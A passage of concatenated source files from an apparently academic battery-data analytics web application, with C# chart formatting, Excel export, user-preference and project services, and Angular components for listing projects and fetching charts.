FormatEnergyAxis(parameters.EnergyUoM); } protected static string FormatResistanceAxisTitle(Parameters parameters) { return FormatResistanceAxis(parameters.ResistanceUoM); } private static string FormatPowerAxis(PowerUoM parametersPowerUoM) { switch (parametersPowerUoM) { case PowerUoM.W: return Title.PowerCustom1; case PowerUoM.muW: return Title.PowerCustom2; case PowerUoM.mW: return Title.PowerCustom3; case PowerUoM.kW: return Title.PowerCustom4; case PowerUoM.MW: return Title.PowerCustom5; case PowerUoM.GW: return Title.PowerCustom6; default: return Title.PowerCustom1; } } private static string FormatResistanceAxis(ResistanceUoM resistanceUoM) { switch (resistanceUoM) { case ResistanceUoM.Ohm: return Title.ResistanceCustom1; case ResistanceUoM.muOhm: return Title.ResistanceCustom2; case ResistanceUoM.mOhm: return Title.ResistanceCustom3; case ResistanceUoM.kOhm: return Title.ResistanceCustom4; case ResistanceUoM.MOhm: return Title.ResistanceCustom5; case ResistanceUoM.GOhm: return Title.ResistanceCustom6; default: return Title.ResistanceCustom1; } } private static string FormatEnergyAxis(EnergyUoM energyUoM) { switch (energyUoM) { case EnergyUoM.Wh: return Title.EnergyCustom1; case EnergyUoM.muWh: return Title.EnergyCustom2; case EnergyUoM.mWh: return Title.EnergyCustom3; case EnergyUoM.kWh: return Title.EnergyCustom4; case EnergyUoM.MWh: return Title.EnergyCustom5; case EnergyUoM.GWh: return Title.EnergyCustom6; default: return Title.EnergyCustom1; } } private static string FormatTimeAxis(TimeUoM timeUoM) { switch (timeUoM) { case TimeUoM.Seconds: return Title.TimeCustom1; case TimeUoM.Minutes: return Title.TimeCustom2; case TimeUoM.Hours: return Title.TimeCustom3; case TimeUoM.Days: return Title.TimeCustom4; default: return Title.TimeCustom1; } } private static string FormatCapacityAxis(CapacityUoM capacityUoM, NormalizeBy normalizeBy) { switch (capacityUoM) { case CapacityUoM.Ah: switch (normalizeBy) { case NormalizeBy.Area: return Title.CapacityCustom2; case NormalizeBy.Mass: return Title.CapacityCustom3; default: return Title.CapacityCustom1; } case CapacityUoM.mAh: switch (normalizeBy) { case NormalizeBy.Area: return Title.CapacityCustom4; case NormalizeBy.Mass: return Title.CapacityCustom5; default: return Title.CapacityCustom6; } default: return Title.Capacity; } } private int? CalcForcedEveryNthCycle(bool projectsSumCyclesGreaterThanMax, int[] projects, PlotParameters parameters, string trace) { if (!projectsSumCyclesGreaterThanMax || IsCalcEveryNthCycleForcedDisabled) { return null; } var maxCycles = parameters?.MaxCycles ?? 0; if (maxCycles <= 0) return null; var maxCyclesPerProject = Math.Max(maxCycles / projects.Length - 1, 1); var forcedEveryNthCycle = projects.Max(pid => { int cycles = ProjectDataRepository.GetCycles(pid, trace).Count; if (parameters != null && string.IsNullOrEmpty(parameters.CustomCycleFilter)) { int fromCycle = Math.Max(parameters.FromCycle ?? 1, 1); int toCycle = Math.Min(parameters.ToCycle ?? cycles, cycles); cycles = toCycle - fromCycle + 1; int result = cycles / maxCyclesPerProject; if (cycles % maxCyclesPerProject != 0) { result += 1; } return result; } else { if (parameters != null) { var rangeFilter = new IndexRangeFilter(parameters.CustomCycleFilter).RangesItems; cycles = rangeFilter.Count; } int result = cycles / maxCyclesPerProject; if (cycles % maxCyclesPerProject != 0) { result += 1; } return result; } }); if (forcedEveryNthCycle < 2) { return null; } if (parameters?.EveryNthCycle != null && parameters.EveryNthCycle.Value >= forcedEveryNthCycle) { return null; } return forcedEveryNthCycle; } protected ChartPlotterBase(IProjectDataRepository projectDataRepository) : base(projectDataRepository) { } } }<file_sep>/WebApp/Services/ChartExporter.cs /* Copyright(c) <2018> <University of Washington> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ using System.Collections.Generic; using System.IO; using System.Linq; using NPOI.SS.UserModel; using NPOI.XSSF.UserModel; using Plotting; namespace WebApp.Services { public class ChartExporter { #region Public methods public byte[] ToExcel(Chart chart) { var workbook = new XSSFWorkbook(); CreateDataSheet(chart, workbook); return ToByteArray(workbook); } public byte[] ToExcel(Chart chart, Stream chartImageStream) { var workbook = new XSSFWorkbook(); if (chartImageStream != null) CreateChartDataSheet(chartImageStream, workbook); CreateDataSheet(chart, workbook); return ToByteArray(workbook); } #endregion #region Private methods private static byte[] ToByteArray(IWorkbook workbook) { using (var stream = new MemoryStream()) { workbook.Write(stream); return stream.ToArray(); } } private static void CreateChartDataSheet(Stream stream, IWorkbook workbook) { var sheet = workbook.CreateSheet("Chart"); var drawing = sheet.CreateDrawingPatriarch(); var data = new byte[stream.Length]; stream.Read(data, 0, (int)stream.Length); var picInd = workbook.AddPicture(data, PictureType.PNG); XSSFCreationHelper helper = workbook.GetCreationHelper() as XSSFCreationHelper; XSSFClientAnchor anchor = helper?.CreateClientAnchor() as XSSFClientAnchor; if (anchor != null) { anchor.Col1 = 0; anchor.Row1 = 0; var pict = drawing.CreatePicture(anchor, picInd) as XSSFPicture; pict?.Resize(); } } private static void CreateDataSheet(Chart chart, IWorkbook workbook) { var sheet = workbook.CreateSheet("Data"); var offset = 0; if (string.IsNullOrEmpty(chart.SelectedTemplateName)) { foreach (var series in chart.Series) { RenderSeries(chart, series, sheet, offset); offset += 2; } } else { RenderSeries2Y(chart, sheet, offset); } } private static void RenderSeries2Y(Chart chart, ISheet sheet, int offset) { RenderHeader2Y(chart, sheet, offset); RenderData(chart.Series, sheet, offset, chart.YAxisText.Length > 1); } private static void RenderSeries(Chart chart, Series series, ISheet sheet, int offset) { RenderHeader(chart, series, sheet, offset); RenderData(series.Points, sheet, offset); } private static void RenderHeader2Y(Chart chart, ISheet sheet, int offset) { var header = GetRow(sheet, 0); header.CreateCell(offset++, CellType.String).SetCellValue($"{chart.XAxisText}"); foreach (var serie in chart.Series) { header.CreateCell(offset ++, CellType.String).SetCellValue($"{serie.DisplayName}"); } } private static void RenderHeader(Chart chart, Series series, ISheet sheet, int offset) { var header = GetRow(sheet, 0); header.CreateCell(offset, CellType.String).SetCellValue($"{series.DisplayName} [{chart.XAxisText}]"); foreach (var title in chart.YAxisText) { header.CreateCell(offset + 1, CellType.String).SetCellValue($"{series.DisplayName} [{title}]"); } } private static void RenderData(List<Series> series, ISheet sheet, int offset, bool is2Y) { if (series == null) return; var rowsCount = series.Select(s => s.Points.Count).Concat(new[] {0}).Max(); var rowIndex = 1; var xValueExists = false; for (var rowIndexValue = 0; rowIndexValue < rowsCount; rowIndexValue++) { var row = GetRow(sheet, rowIndex++); if (rowIndexValue < series[0].Points.Count) { xValueExists = true; row.CreateCell(offset, CellType.Numeric).SetCellValue(series[0].Points[rowIndexValue].Discrete.GetValueOrDefault(series[0].Points[rowIndexValue].X)); if (!double.IsNaN(series[0].Points[rowIndexValue].Y)) row.CreateCell(offset + 1, CellType.Numeric).SetCellValue(series[0].Points[rowIndexValue].Y); } for (var serieIndexValue = 1; serieIndexValue < series.Count; serieIndexValue++) { if (rowIndexValue < series[serieIndexValue].Points.Count) { if (!xValueExists) { row.CreateCell(offset, CellType.Numeric).SetCellValue(series[serieIndexValue].Points[rowIndexValue].Discrete.GetValueOrDefault(series[serieIndexValue].Points[rowIndexValue].X)); } if (!double.IsNaN(series[serieIndexValue].Points[rowIndexValue].Y)) row.CreateCell(offset + 1 + serieIndexValue, CellType.Numeric).SetCellValue(series[serieIndexValue].Points[rowIndexValue].Y); } } } } private static void RenderData(List<Point> points, ISheet sheet, int offset) { if (points == null) return; var rowIndex = 1; foreach (var point in points) { var row = GetRow(sheet, rowIndex++); row.CreateCell(offset, CellType.Numeric).SetCellValue(point.Discrete.GetValueOrDefault(point.X)); row.CreateCell(offset + 1, CellType.Numeric).SetCellValue(point.Y); } } private static void RenderData(List<Point2Y> points, ISheet sheet, int offset, bool is2Y) { if (points == null) return; var rowIndex = 1; foreach (var point in points) { var row = GetRow(sheet, rowIndex++); row.CreateCell(offset, CellType.Numeric).SetCellValue(point.X); row.CreateCell(offset + 1, CellType.Numeric).SetCellValue(point.Y1); if(is2Y) row.CreateCell(offset + 2, CellType.Numeric).SetCellValue(point.Y2); } } private static IRow GetRow(ISheet sheet, int index) { return sheet.GetRow(index) ?? sheet.CreateRow(index); } #endregion } } <file_sep>/README.md # DqDv Analytics <file_sep>/WebApp/Controllers/Api/UserPreferencesController.cs using System.Data.Entity; using System.Linq; using System.Threading.Tasks; using System.Web.Http; using DataLayer; using Microsoft.AspNet.Identity; using WebApp.Interfaces; using WebApp.Models.Preferences; namespace WebApp.Controllers.Api { [Authorize] [Route("api/preferences")] public class UserPreferencesController : ApiController { //////////////////////////////////////////////////////////// // Constants, Enums and Class members //////////////////////////////////////////////////////////// private readonly DqdvContext _db; private readonly ICacheProvider _cacheProvider; //////////////////////////////////////////////////////////// // Constructors //////////////////////////////////////////////////////////// /// <inheritdoc /> /// <summary> /// Initialize a new instance of <see cref="T:WebApp.Controllers.Api.UserPreferencesController" /> /// </summary> /// <param name="db"></param> /// <param name="cacheProvider"></param> public UserPreferencesController(DqdvContext db, ICacheProvider cacheProvider) { _db = db; _cacheProvider = cacheProvider; } [HttpPost] public async Task<IHttpActionResult> SavePreferences(UserPreferencesModel model) { var entity = await _db.UserPreferences.FindAsync(User.Identity.GetUserId()) ?? new AppUserPreferences(); entity.Id = User.Identity.GetUserId(); entity.ChartPreferences = new ChartPreferences { LegendShowen = model.ChartPreferences.ShowLegend, XLineVisible = model.ChartPreferences.XLineVisible, YLineVisible = model.ChartPreferences.YLineVisible, PointSize = model.ChartPreferences.PointSize, FontSize = model.ChartPreferences.FontSize, FontFamilyName = model.ChartPreferences.FontFamilyName, PaletteColors = model.ChartPreferences.PaletteColors.Select(item => item.Color).ToArray() }; if (_db.Entry(entity).State == EntityState.Detached) _db.UserPreferences.Add(entity); await _db.SaveChangesAsync(); _cacheProvider.Clear(); return Ok(); } [HttpGet] public async Task<IHttpActionResult> GetPreferences() { var entity = await _db.UserPreferences.FindAsync(User.Identity.GetUserId()) ?? AppUserPreferences.Default; return Ok(new UserPreferencesModel { ChartPreferences = new ChartPreferencesModel { ShowLegend = entity.ChartPreferences.LegendShowen, XLineVisible = entity.ChartPreferences.XLineVisible, YLineVisible = entity.ChartPreferences.YLineVisible, PointSize = entity.ChartPreferences.PointSize, FontSize = entity.ChartPreferences.FontSize, FontFamilyName = entity.ChartPreferences.FontFamilyName, PaletteColors = entity.ChartPreferences.PaletteColors.Select(item => new PaletteColorItem { Color = item }) } }); } } } <file_sep>/WebApp/Models/Mappings/ChartToDto.cs /* Copyright(c) <2018> <University of Washington> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ using System.Collections.Generic; using System.Linq; using WebApp.Models.Chart; namespace WebApp.Models.Mappings { static class ChartToDto { public static ChartDto ToChartDto(this Plotting.Chart chart, string title = "") { var dto = new ChartDto { ForcedEveryNthCycle = chart.ForcedEveryNthCycle, Points = chart.Series .Select((series, index) => new {series, index}) .SelectMany(item => item.series.Points .Where(p => !double.IsNaN(p.Y)) .Select(p => new Dictionary<string, double?> { {"x", p.X}, {item.series.IsZAxis ? "z1" : $"y{item.index}", p.Y}, {"highError", p.HighError.GetValueOrDefault(p.Y)}, {"lowError", p.LowError.GetValueOrDefault(p.Y)}, {"discrete", p.Discrete} })) .ToList(), PlotParameters = chart.PlotParameters }; var yAxisTextNonNull = chart.PlotParameters.yAxisText.Where(text => !string.IsNullOrWhiteSpace(text)).ToList(); dto.Series = chart.Series.Select((series, index) => new { series, index }) // IMPORTANT: there is a problem with empty series, let's remove them temporarily. // https://github.com/agafonovslava/dqdv/issues/23 // https://www.devexpress.com/Support/Center/Question/Details/T557040/chart-sets-vertical-range-incorrectly-when-using-aggregation .Where(item => item.series.Points != null && item.series.Points.Count != 0) .Select(item => { var seriesDto = new SeriesDto(); seriesDto.Id = $"{item.series.ProjectId}_{item.series.DisplayName}"; seriesDto.ProjectId = item.series.ProjectId; seriesDto.Name = item.series.DisplayName; seriesDto.ValueField = item.series.IsZAxis ? "z1" : $"y{item.index}"; seriesDto.Axis = item.series.IsZAxis ? $"z1" : null; return seriesDto; }) .ToList(); dto.Projects = chart.Projects .Select(p => new ProjectDto { Id = p.Id, Name = p.Name, IsAveragePlot = p.IsAveragePlot }) .ToList(); dto.ProjectIds = chart.Projects.Select(p => p.Id).ToList(); dto.YAxisText = yAxisTextNonNull.Count > 0 ? yAxisTextNonNull.ToArray() : chart.YAxisText.ToArray(); dto.Label = chart.Label; dto.XAxisIsInteger = chart.XAxisIsInteger; dto.SelectedTemplateName = chart.SelectedTemplateName; dto.XAxisText = string.IsNullOrEmpty(chart.PlotParameters.xAxisText) ? chart.XAxisText : chart.PlotParameters.xAxisText; dto.Title = string.IsNullOrEmpty(chart.PlotParameters.ChartTitle) ? title : chart.PlotParameters.ChartTitle; return dto; } } }<file_sep>/WebApp/Services/ProjectService.cs /* Copyright(c) <2018> <University of Washington> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ using System; using System.Threading.Tasks; using DataLayer; using Dqdv.Internal.Contracts.Settings; using Hangfire; using Messages; namespace WebApp.Services { /// <summary> /// Project service /// </summary> public class ProjectService { //////////////////////////////////////////////////////////// // Constants, Enums and Class members //////////////////////////////////////////////////////////// private readonly DqdvContext _db; private readonly ProjectPlotCache _projectPlotCache; private readonly IBackgroundJobClient _jobClient; private readonly IOptions _options; //////////////////////////////////////////////////////////// // Constructors //////////////////////////////////////////////////////////// /// <summary> /// Initialize a new instance of <see cref="ProjectService"/> /// </summary> /// <param name="db">Instance of <see cref="DqdvContext"/></param> /// <param name="projectPlotCache">Instance of <see cref="ProjectPlotCache"/></param> /// <param name="jobClient">Instance of <see cref="IBackgroundJobClient"/></param> /// <param name="options">Background job options</param> public ProjectService( DqdvContext db, ProjectPlotCache projectPlotCache, IBackgroundJobClient jobClient, IOptions options) { _db = db; _projectPlotCache = projectPlotCache; _jobClient = jobClient; _options = options; } //////////////////////////////////////////////////////////// // Public Methods/Atributes //////////////////////////////////////////////////////////// /// <summary> /// Create a new project /// </summary> /// <param name="project">Project to be created</param> /// <returns></returns> public async Task CreateProject(Project project) { var dateTime = DateTime.UtcNow; project.CreatedAt = dateTime; project.UpdatedAt = dateTime; _db.Projects.Add(project); await _db.SaveChangesAsync(); await StartProjectProcessingJobAsync(project); } /// <summary> /// Update project data /// </summary> /// <param name="project">Project to update</param> /// <returns></returns> public async Task UpdateProject(Project project) { project.UpdatedAt = DateTime.UtcNow; project.IsReady = false; await _db.SaveChangesAsync(); _projectPlotCache.FlushProject(project.Id); // removes cached data for a given project StopProjectProcessingJob(project); await StartProjectProcessingJobAsync(project); } public Task Stitch() { //ToDo: move logic from a controller throw new NotImplementedException(); } //////////////////////////////////////////////////////////// // Private Methods/Atributes //////////////////////////////////////////////////////////// private async Task StartProjectProcessingJobAsync(Project entity) { await PushProjectToProcessingQueue(entity); ScheduleProjectForProcessing(entity); } private async Task PushProjectToProcessingQueue(Project entity) { var jobId = _jobClient.Enqueue<IBackgroundProcessor>(p => p.PrepareProject(entity.TraceId.ToString(), entity.Id, JobCancellationToken.Null)); entity.JobId = jobId; await _db.SaveChangesAsync(); } private void ScheduleProjectForProcessing(Project entity) { var timeoutJobId = _jobClient.Schedule<IBackgroundProcessor>(p => p.HandleTimeout(entity.TraceId.ToString(), entity.Id), _options.ProjectPrepareTimeout); _jobClient.ContinueWith<IBackgroundProcessor>(entity.JobId, p => p.CancelTimeout(entity.TraceId.ToString(), entity.Id, timeoutJobId), JobContinuationOptions.OnAnyFinishedState); } private void StopProjectProcessingJob(Project entity) { _jobClient.Delete(entity.JobId); } } }<file_sep>/WebApp/src/app/auth/interceptor/auth-interceptor.ts import { Injectable } from "@angular/core"; import { HttpErrorResponse, HttpEvent, HttpHandler, HttpInterceptor, HttpRequest } from "@angular/common/http"; import { Store } from "@ngrx/store"; import { Observable } from "rxjs/Observable"; import "rxjs/add/operator/do"; import { AppState, Unauthorized } from "../../state"; @Injectable() export class AuthInterceptor implements HttpInterceptor { constructor(private store: Store<AppState>) { } intercept(request: HttpRequest<any>, next: HttpHandler): Observable<HttpEvent<any>> { return next.handle(request) .do(() => { }, (err: any) => { if (err instanceof HttpErrorResponse && err.status === 401) { this.store.dispatch(new Unauthorized()); } }); } } <file_sep>/WebApp/src/app/projects/project-list.component.ts import { Component, ViewChild } from "@angular/core"; import { Router } from "@angular/router"; import { Store } from "@ngrx/store"; import { DxDataGridComponent } from "devextreme-angular"; import { EdmLiteral } from "devextreme/data/odata/utils"; import "devextreme/integration/jquery"; import * as filesize from "filesize"; import { PlotTemplate } from "../chart/model/chart-plot-settings"; import { ShareSettings } from "../chart/model/share-settings"; import { HttpClient } from "@angular/common/http"; import { environment } from "../../environments/environment"; import * as ChartActions from "../chart/state/chart.actions"; import { ProjectListItem } from "./model/project-list-item"; import { AppState, SetProjects, StartRefreshPlotTemplates, Unauthorized } from "../state"; import { ProjectService } from "../project/state/project.service" import * as FileSaver from "file-saver"; interface ICellPreparedEvent { data: ProjectListItem; cellElement: any; // JQuery column: { command: string }; rowType: string; } interface EditingStartEvent { data: ProjectListItem; } interface IEditorPreparingEvent { editorName: string; dataField: string; parentType: string; editorOptions: { height: number; } } interface IRowPreparedEvent { data: ProjectListItem; rowElement: any; // JQuery rowType: string; } interface ISelectionChangedEvent { component: any; // DxDataGrid; currentSelectedRowKeys: number[]; selectedRowsData: ProjectListItem[]; } interface SimpleItem { dataField: string; visible: boolean; } function hasData(project: ProjectListItem): boolean { return project.isReady && !project.failed; } @Component({ templateUrl: "./project-list.component.html", styleUrls: ["./project-list.component.css"] }) export class ProjectListComponent { @ViewChild(DxDataGridComponent) grid: DxDataGridComponent; plotTemplates: PlotTemplate[]; maxProjects = environment.maxProjects; customQuery = ""; step = 1; dataSource: any; selected = []; selectedProjects = []; filterRowVisible = false; private hasStitchedFromNames = false; constructor(private router: Router, private store: Store<AppState>, private http: HttpClient, private projectService: ProjectService) { this.customizeItem = this.customizeItem.bind(this); this.dataSource = { store: { type: "odata", key: "id", url: environment.serverBaseUrl + "odata/projects", version: 4, deserializeDates: false, withCredentials: true, errorHandler: (error) => this.onODataError(error), beforeSend: (req) => this.onODataBeforeSend(req) } }; this.store.dispatch(new StartRefreshPlotTemplates()); this.store.select(s => s.chart.plotTemplates).subscribe(s => this.plotTemplates = s); } onPlot(): void { this.store.dispatch(new SetProjects(this.selected)); this.step = 2; } onToggleEraseSettingsClick(): void { this.customQuery = ""; this.filterRowVisible = false; this.grid.instance.clearFilter(); this.grid.instance.refresh(); } onAverage(): void { this.step = 5; } onStitch(): void { this.step = 3; } onView(): void { this.step = 4; } onCloseChart(): void { this.step = 1; } onCloseView(): void { this.step = 1; } onCloseStitcher(): void { this.step = 1; } onRefresh(): void { this.grid.instance.refresh(); } formatFileSize(row: ProjectListItem): string { return filesize(row.fileSize); } formatNumCycles(row: ProjectListItem): number | undefined { return hasData(row) ? row.numCycles : undefined; } onCellPrepared(e: ICellPreparedEvent): void { if (e.rowType === "data" && e.column.command === "select" && !hasData(e.data)) { e.cellElement.find(".dx-select-checkbox").dxCheckBox("instance").option("disabled", true); e.cellElement.off(); } } onEditingStart(e: EditingStartEvent): void { this.hasStitchedFromNames = !!e.data.stitchedFromNames; } onEditorPreparing(e: IEditorPreparingEvent): void { if (e.dataField === "comments") { e.editorName = "dxTextArea"; } if (e.parentType === "filterRow") { e.editorOptions.height = undefined; } } customizeItem(item: SimpleItem): void { if (item.dataField === "stitchedFromNames" && !this.hasStitchedFromNames) { item.visible = false; } } onRowPrepared(e: IRowPreparedEvent): void { if (e.rowType === "data") { if (!e.data.isReady) { e.rowElement.css("color", "lightgrey"); e.rowElement.css("font-style", "italic"); e.rowElement.prop("title", "Project data is not ready"); } else if (e.data.failed) { e.rowElement.css("color", "crimson"); e.rowElement.css("font-style", "italic"); e.rowElement.prop("title", "Project parse failed because of " + (e.data.error || "unknown reason")); } } } onSelectionChanged(e: ISelectionChangedEvent): void { const notReady = e.currentSelectedRowKeys.filter(id => !hasData(e.selectedRowsData.find(p => p.id === id))); e.component.deselectRows(notReady); this.selectedProjects = e.component.getSelectedRowsData(); } onShareProjectSave(shareSettings: ShareSettings): void { let projects = []; for (const project of this.selectedProjects) { projects.push(project.id); } this.store.dispatch(new ChartActions.ShareProject(projects, shareSettings.email)); } onToggleFilterRowClick(): void { this.filterRowVisible = !this.filterRowVisible; if (!this.filterRowVisible) { this.grid.instance.clearFilter(); } } calculateDateTimeFilterExpression(filterValue: any, selectedFilterOperation: string): void { const filter = this["defaultCalculateFilterExpression"](filterValue, selectedFilterOperation); if (filter) { if (Array.isArray(filter[0])) { filter[0][2] = new EdmLiteral(filter[0][2].toISOString()); filter[2][2] = new EdmLiteral(filter[2][2].toISOString()); } else { filter[2] = new EdmLiteral(filter[2].toISOString()); } } return filter; } customizeColumns(columns: any[]) { columns.find(col => col.dataField === "createdAt").serializeValue = (val) => val; columns.find(col => col.dataField === "updatedAt").serializeValue = (val) => val; } onODataError(error: any): void { if (error && error.httpStatus === 401) { this.store.dispatch(new Unauthorized()); } } onODataBeforeSend(req: any): void { req.params.customQuery = this.customQuery; } onProjectDownload(projectId): void { const project = this.selectedProjects.find(item => item.id === projectId); this.projectService.download(project) .filter(file => !!file) .subscribe(file => FileSaver.saveAs(file.blob, file.name)); } isAveragePlotCreationEnabled(): boolean { return (this.selected.length > 1 && this.selected.length < this.maxProjects) && this.selectedProjects.filter(item => item.isAveragePlot).length === 0; } } <file_sep>/WebApp/Services/LocalStorage.cs /* Copyright(c) <2018> <University of Washington> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ using System.IO; using System.Threading.Tasks; using System.Web; using WebApp.Interfaces; using WebApp.Models.Chart; namespace WebApp.Services { class LocalStorage : IStorage { #region Private fields private readonly string _directory; #endregion #region Constructor public LocalStorage(string directory) { _directory = directory; } #endregion #region IStorage implementation public void SaveAs(HttpPostedFile file, string name) { file.SaveAs(Path.Combine(_directory, name)); } /// <inheritdoc /> /// <summary> /// Save file stream to a storage /// </summary> /// <param name="file">File stream to save</param> /// <param name="name">File name in a storage</param> /// <returns></returns> public async Task SaveAsAsync(HttpPostedFile file, string name) { using (var stream = File.Create(Path.Combine(_directory, name))) { await file.InputStream.CopyToAsync(stream).ConfigureAwait(false); } } public async Task<BlobDownloadModel> DownloadToStreamAsync(string name, string internalId) { string path = Path.Combine(_directory, internalId); if (!File.Exists(path)) { return null; } using (Stream sourceStream = File.Open(path, FileMode.Open)) { byte[] result = new byte[sourceStream.Length]; await sourceStream.ReadAsync(result, 0, (int)sourceStream.Length); // Build and return the download model with the blob stream and its relevant info var download = new BlobDownloadModel { BlobStream = new MemoryStream(result), BlobFileName = name, BlobLength = result.Length, BlobContentType = MimeMapping.GetMimeMapping(name) }; return download; } } #endregion } } <file_sep>/WebApp/src/app/upload/model/project.ts export interface Project { file: File[]; name: string; testName: string; testType: string; channel: string; tag: string; mass?: number; theoreticalCapacity?: number; activeMaterialFraction?: number; area?: number; comments: string; } <file_sep>/WebApp/src/app/preferences/model/preferences.model.ts export interface UserPreferences { chartPreferences: ChartPreferences } export interface ChartPreferences { pointSize?: number; xLineVisible: boolean; yLineVisible: boolean; showLegend: boolean; fontSize?: number; fontFamilyName: string, paletteColors: ChartPaletteColor[]; } export interface ChartPaletteColor { color: string; } <file_sep>/WebApp/src/app/chart/state/chart.service.ts import { Injectable } from "@angular/core"; import { HttpClient } from "@angular/common/http"; import { Observable } from "rxjs/Observable"; import { PlotSeries } from "../model"; import { environment } from "environments/environment"; import { AggregationSettings, AxisRange, StateOfCharge, AggregationType, PlotTemplate, PlotParameters, PlotsData, Chart, ChartFilter, ChartUoMSettings, ChartSettings } from "../model"; @Injectable() export class ChartService { constructor(private http: HttpClient) { } get(projectIds: number[], plotType: number, plotTemplateId: string, viewId: number, stateOfCharge: StateOfCharge): Observable<Chart> { switch (plotType) { case -1: { const url = this.makeByTemplateUrl(projectIds, plotTemplateId); return this.http.get<Chart>(url, { withCredentials: true }); } case -2: { const url = this.makeByViewUrl(viewId); return this.http.get<Chart>(url, { withCredentials: true }); } case -3: { const url = this.makeByViewUrl(viewId); return this.setStateOfCharge(projectIds, stateOfCharge); } default: { const url = this.makeUrl(projectIds, plotType); return this.http.get<Chart>(url, { withCredentials: true }); } } } getbytemplate(projectIds: number[], plotTemplateId: string): Observable<Chart> { const url = this.makeByTemplateUrl(projectIds, plotTemplateId); return this.http.get<Chart>(url, { withCredentials: true }); } getbyview(viewId: number): Observable<Chart> { const url = this.makeByViewUrl(viewId); return this.http.get<Chart>(url, { withCredentials: true }); } export(projectIds: number[], plotType: number, cycleFilter: ChartFilter, aggregationSettings: AggregationSettings, uomSettings: ChartUoMSettings, pointSize: number, templateIdValue?: string, stateOfCharge?: StateOfCharge, data?: any): Observable<Blob> { const url = this.makeExportUrl(projectIds, plotType, cycleFilter, aggregationSettings, uomSettings, pointSize, templateIdValue, stateOfCharge, "xlsx"); const formData: FormData = new FormData(); formData.append("file", data); return this.http.post(url, formData, { responseType: "blob", withCredentials: true }); } exportAll(projectIds: number[], plotType: number, uomSettings: ChartUoMSettings, pointSize: number, templateIdValue?: string, stateOfCharge?: StateOfCharge, data?: any): Observable<Blob> { const url = this.makeExportUrl(projectIds, plotType, null, null, uomSettings, pointSize, templateIdValue, stateOfCharge, "xlsx", false); const formData: FormData = new FormData(); formData.append("file", data); return this.http.post(url, formData, { responseType: "blob", withCredentials: true }); } savetemplate(projectIds: number[], plotTemplate: PlotTemplate): Observable<PlotsData> { const url = environment.serverBaseUrl + "api/plots"; const templateModel = { newTemplate: plotTemplate, projectIds: projectIds }; return this.http.post<PlotsData>(url, { templateModel: templateModel }, { withCredentials: true }); } deletetemplate(projectIds: number[], plotTemplate: PlotTemplate): Observable<any> { const url = environment.serverBaseUrl + "api/plots/" + plotTemplate.id; return this.http.delete(url, { withCredentials: true }); } getPlots(): Observable<PlotTemplate[]> { const url = environment.serverBaseUrl + "api/plots"; return this.http.get<PlotTemplate[]>(url, { withCredentials: true }); } saveParameters(cycleFilter: ChartFilter, aggregationSettings: AggregationSettings, uomSettings: ChartUoMSettings, legendVisible: boolean | null , plotParameters: PlotParameters): Observable<any> { const url = environment.serverBaseUrl + "api/setParameters"; const parametersModel = { maxCycles: environment.maxCycles, simplification: 1, maxPointsPerSeries: 